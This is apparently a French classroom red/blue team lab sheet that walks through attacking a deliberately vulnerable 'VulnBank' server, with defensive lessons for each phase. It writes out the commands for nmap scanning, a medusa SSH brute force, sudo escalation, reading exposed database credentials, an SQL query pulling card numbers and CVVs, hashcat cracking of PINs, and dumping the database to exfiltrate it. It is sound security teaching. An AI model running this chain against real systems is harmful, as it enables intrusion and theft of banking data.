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Fiche TP - Kali 01 - intrusion système

I. Introduction

Disclaimer : Merci de lire les notes suivantes avant d'aller plus loin dans ces TP.

  • Il est essentiel d'avoir pris connaissance et signé le contrat remis par le moniteur chargé des cours en cybersécurité.
  • Ces TP ont pour vocations à être utilisés dans les environnement de tests prévus à cet effet.
  • Pour rappel, toute utilisation des compétences évoqués plus bas à des fins malveillantes sont sévèrement punies par la loi.

1.1 Contexte

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La société bancaire VulnBank à vu les données de ses clients exposées à la suite d'une fuite de donnée.

 

Elle vous a missionné pour reproduire l'attaque afin d'en comprendre le déroulé et d'en tirer une série de correction amenant à ce qu'elle ne se reproduise pas.

1.2 Objectifs

Déroulé d'une attaque : Processus de défense ( PICERL )
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L'objectif de la team RED va être ici de dérouler le processus de l'attaque sur un serveur linux contenant un accès SSH remote, un site en http et une base de donnée. Le but final est d'organiser une fuite de donnée.

L'objectif de la team BLUE est habituellement de défendre son serveur, en anticipant les vecteurs d'attaques, en analysant le déroulé de l'attaque de la RED team et en essayant de trouver à posteriori des mesures pour contrer ce type d'attaque.



II. Préparation du TP

RED BLUE
  • Installer une machine Kali standard
  • Installer un serveur Debian et le préparer avec le script fourni.



III. Phase 1 : Reconnaissance

Pour la RED team

Objectif : Identifier les surfaces d'attaques

 

L'équipe RED va tout d'abord scanner le réseau afin de déterminer quelles sont les machines de l'équipe BLUE.

Pour cela, il faudra utiliser l'outil nmap :

nmap -sn <cidrDuRéseau>

image.pngimage.png

 

Pourra s'ensuivre une phase de découverte des ports ouverts sur cette machine afin de déterminer les angles d'attaques possibles.

nmap -sV -A <ipdelacible>

image.pngimage.png

 

Ici, deux vecteurs immédiats possibles :

  • le SSH : 22
  • le HTTP : 80

 

Il est possible de compléter l’analyse avec un scan web. Récupérer le fichier dictionnaire dans le fichier joint.

gobuster dir -u http://<ipduserveur>/ -w ./weblist.txt

image.pngimage.png

 

Énumérer également les fichiers dans les répertoires intéressants comme db par exemple

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Livrables attendus :

  • Carte des services explosés
  • Cartographie du site web
  • Vulnérabilités potentielles
Pour la BLUE team

Objectif : Détecter la reconnaissance

 

De son côté, l'équipe BLUE va analyser le trafic avec wireshark. Vérifier si elle vois les traces des scans de ports.

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Logs du serveur apache sur le scan :

tail -f /var/log/apache2/access.log

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Puis lors du scan web, examiner le fichier de log apache :

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L'idée pour l'équipe BLUE est d'arriver sur les pistes de réflexions suivantes :

  • Comment contrer la reconnaissance réseau ?
  • Comment contrer les scans de ports ?

 

Mise en place d'un pare-feu en amont, mise en place du masquerading pour rendre plus difficile la récolte d'information.

Changer les ports d'écoute par défaut de tous les services pouvant l'être.

Mise en place d'un IDS/IPS pour repérer et bloquer les tentatives de scan.

Mise en place d'un centralisateur de logs et d'un SIEM ( Security Information and Event Management ).

 

Livrables attendus:

  • Tableau des événements suspects
  • Hypothèses d'intention de l'attaquant


IV. Phase 2 : Préparation

Pour la RED team

Objectif : Préparer les outils nécessaire à l'attaque

 

L'équipe RED va ensuite préparer son attaque par dictionnaire, pour cela il va falloir en créer un ou en copier des existants.

Récupérer les dictionnaires fournis en pièces jointes pour l'accès initial.

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Le but étant ultimement d'exploiter des codes de cartes bleues à 4 chiffres, il sera nécessaires également de préparer un dictionnaire contenant tous les codes possibles.

Pour le générer, utiliser crunch :

crunch 4 4 0123456789 -o pin.txt

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Info : Si une  partie du  mot de passe est connue, (par exemple och*****), ajouter -t och@@@ pour générer un dictionnaire plus précis et réduire les possibilités.

Pour la BLUE team

Objectif : Identifier les faiblesses structurelles

 

De son côté, l'équipe BLUE va réfléchir à comment sécuriser ses accès.

L'idée pour l'équipe BLUE est d'arriver sur les pistes de réflexions suivantes :

  • Comment choisir et protéger ses mots de passes ?
  • Quels éléments vérifier lors de la mise en oeuvre du service ?

 

Utiliser des mots de passes complexes, hors dictionnaire, les changer régulièrement, utiliser des canaux sécurisés pour leur transmission.

Utiliser un Générateur de mots de passe et un vault.

Vérifier les permissions, les comptes de services, analyses des mots de passe faibles.

Analyse des fichiers de configurations (/etc/ssh/sshd_config)


V. Phase 3 : Intrusion

Pour la RED team

Objectif : Obtenir un accès initial

 

L'équipe RED va lancer son attaque sur le service SSH de la machine à l'aide des dictionnaires fournis.

medusa -U logins.txt -P passwords.txt -h <ipduhost> -M ssh

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Une fois le compte et le mot de passe identifié, il suffira d'ouvrir une session SSH avec :

ssh admin@<ipduserver>

Accepter la clé et entrer le mot de passe trouvé.

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Puis identifier les services qui se trouvent sur la machine :

service --status-all

image.pngimage.png

Livrables attendus : 

  • Preuves d'accès (captures d'écran du shell).
  • Commandes utilisées, dictionnaires utilisés.
Pour la BLUE team

Objectif : Identifier l'intrusion

 

De son côté, l'équipe BLUE va analyser les tentatives de connexions :

tail -f /var/log/auth.log | grep -E 'Failed|Accepted'

image.pngimage.png

 

L'idée pour l'équipe BLUE est d'arriver sur les pistes de réflexions suivantes :

  • Comment protéger son acces SSH contre la bruteforce ?

 

Utiliser des mots de passes complexes, hors dictionnaire, les changer régulièrement, utiliser des canaux sécurisés pour leur transmission.

Mettre en places des mécanismes permettant de limiter le nombre de tentatives, mettre en place du blocage et du bannissement d'IP, interdire la connexion directe de comptes à privilèges.

Ultimement, utiliser une authentification par clé et non par mot de passe.

Mettre en place les logs et les audits de connexions pour pouvoir réagir rapidement en cas d'attaque.

 

Livrables attendus :

  • Chronologie de l'intrusion
  • Preuves logiques (extraits de logs)


VI. Phase 4 : Mouvement latéral

Le serveur est ici accessible en local et héberge lui-même tous les rôles. Pas de mouvement latéral requis.

Cependant, l'équipe BLUE peut néanmoins fournir une analyse quand à comment limiter les mouvement latéraux.

Segmentation réseau : Mise en place de VLAN, routeurs et de pare-feu intermédiaire.

Comptes à privilèges minimaux

Durcissement SSH.



VII. Phase 5 : Escalade de privilèges

Pour la RED team

Objectif : Devenir root.

 

L'équipe RED va chercher un moyen d'élever ses privilèges.

Cela commence par identifier les comptes à privilèges :

cat /etc/group | grep sudo

image.pngimage.png


Ici, deux comptes repérés : ste4d- et admin.

Le compte connecté est donc lui-même dans les sudoers.

Si l'on fait :

sudo -s

l'on peut basculer en super admin.

Info : Il aurait également été possible pour cette étape, d'injecter un exploit ou d'utiliser un compte de service mal paramétré par exemple.

 

Livrables attendus :

  • Preuve de l'escalade
  • Méthode utilisée (détaillée).
Pour la BLUE team

Objectif : Comprendre comment l'élévation à été possible.

 

De son côté, l'équipe BLUE va :

Analyser les permissions

Vérifier les SUID

Vérifier les journaux sudo.

tail -f /var/log/auth.log | grep sudo

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L'idée pour l'équipe BLUE est d'arriver sur les pistes de réflexions suivantes :

  • Comment repérer une intrusion réussie ?
  • Comment éviter une escalade de privilège ?

 

Utiliser des mots de passes complexes, hors dictionnaire, les changer régulièrement, utiliser des canaux sécurisés pour leur transmission.

Mettre en place des mesures pour journaliser les connexions.

Séparer les comptes à privilèges des comptes d'utilisations courants.

 

Info : ici, l'utilisation n'a pas nécessité la mise en place d'un exploit, mais cela peut être le cas. Le seul moyen de s'en prémunir efficacement reste l'installations d'EDR sur les machines.

 

Livrables attendus :

  • Chronologie de l'intrusion
  • Preuves logiques (extraits de logs)


VIII. Phase 6 : Persistance

La phase de persistance ne sera pas développée dans ce TP, mais dans les suivants.

Néanmoins, plusieurs méthodes :

  • Ajout d'une clé SSH
  • Ajout d'un utilisateur caché
  • Ajout d'un CRON malveillant + exploit


IX. Phase 7 : Actions sur objectifs

Pour la RED team

Objectif : Exfiltrer les données.

 

L'équipe RED va chercher un moyen d'accéder à la donnée.

Il va donc falloir gagner un accès à la base. Cela peut se faire via des exploit webs, mais la solution ici sera plus simple.

En effet, le site à besoin de se connecter aux bases de données afin de procéder à l'authentification et à l'affichage du tableau de bord.

De plus, l'audit du site web a mise en évidence ce fichier.

image.pngimage.png

 

Il y a effectivement un fichier config.php dans /var/www/vulnbank/db.

 

Essayons de l'afficher.

cat /var/www/vulnbank/db/config.php

 

Celui-ci à en effet été mal protégé.

image.pngimage.png

 

Tentons une connexion à la base de donnée.

mysql -u vulnbank -p

image.pngimage.png


Il faut maintenant en comprendre la structure et essayer de retrouver les données qui nous intéressent. Cela se fera par des bases des Requêtes SQL.

SHOW TABLES FROM bank;

image.pngimage.png

 

Pour avoir toutes les informations, il va falloir croiser les informations présentes dans les tables.

image.pngimage.png

image.pngimage.png

image.pngimage.png


Maintenant que nous savons comment sont structurées les données, il faut lancer une requête qui va les agréger.

SELECT cu.first_name, cu.last_name, ca.number, ci.expirationdate, ci.cryptograme, ci.pin
FROM bank.customers cu
LEFT JOIN bank.cards ca
ON ca.customer_id = cu.id
LEFT JOIN bank.cardsinfo ci
ON ci.card_id = ca.id;

image.pngimage.png

 

Il ne reste plus qu'a déchiffrer les codes PIN. Ceux-ci sont visiblement hashés.

Pour plus de facilité, les réunir dans un fichier texte.

image.pngimage.png

 

Il faut donc déjà identifier le type de hash :

hash-identifier 101951fe7ebe7bd8c77d14f75746b4bc

image.pngimage.png

 

Le plus probable est du 'MD5', il est maintenant possible de cracker les hashs :

hashcat -m 0 hashs.txt pin.txt

image.pngimage.png

 

A la fin du process, les hashs qui ont été déchiffrés s'affichent.

Il est également possible de les ré afficher avec :

hashcat -m 0 hashs.txt pin.txt --show

image.pngimage.png

 

Info : Plutôt que de traiter les informations sur place, il est plus intéressant de les exfiltrer pour les travailler de son côté.

Faire un dump de la base :

mysqldump -u vulnbank -p bank > mondump.sql

image.pngimage.png

 

Malgré le message d'erreur, le fichier à bien été dumpé.

image.pngimage.png

 

Il faut le récupérer, par exemple avec une connexion sftp.

sftp admin@<ipserveur>
get <chemin/vers/fichier/distant> <chemin/vers/fichier/local>
exit

image.pngimage.png

 

Livrables attendus :

  • Preuves de l'exfiltration
  • Méthode utilisée
Pour la BLUE team

Objectif : Détecter la fuite.

 

De son côté, il est temps pour l'équipe BLUE de tirer les leçons de l'incident.

Analyser les différents logs applicatifs et reconstruire le déroulé de la fuite.

 

L'idée pour l'équipe BLUE est d'arriver sur les pistes de réflexions suivantes :

  • Comment les attaquants ont-ils procédé ?
  • Quel a été l'impact ?
  • Comment sécuriser l'accès a ses données ?
  • (Si déjà abordé) Faire une analyse EBIOS.

 

Livrables attendus :

  • Rapport d'incident.
  • Mesures correctives.


Conclusion

A la fin de cet exercice, les deux équipes ont pu mieux cerner les implications en terme de sécurité de la bonne configuration ou non des services sur ces systèmes d'informations.

Les failles exploitées ici sont avant tout des failles d'origine humaines.

  • Utilisations de mots de passes faibles.
  • Mauvaises configuration des permissions.
  • Non respect des bonnes pratiques.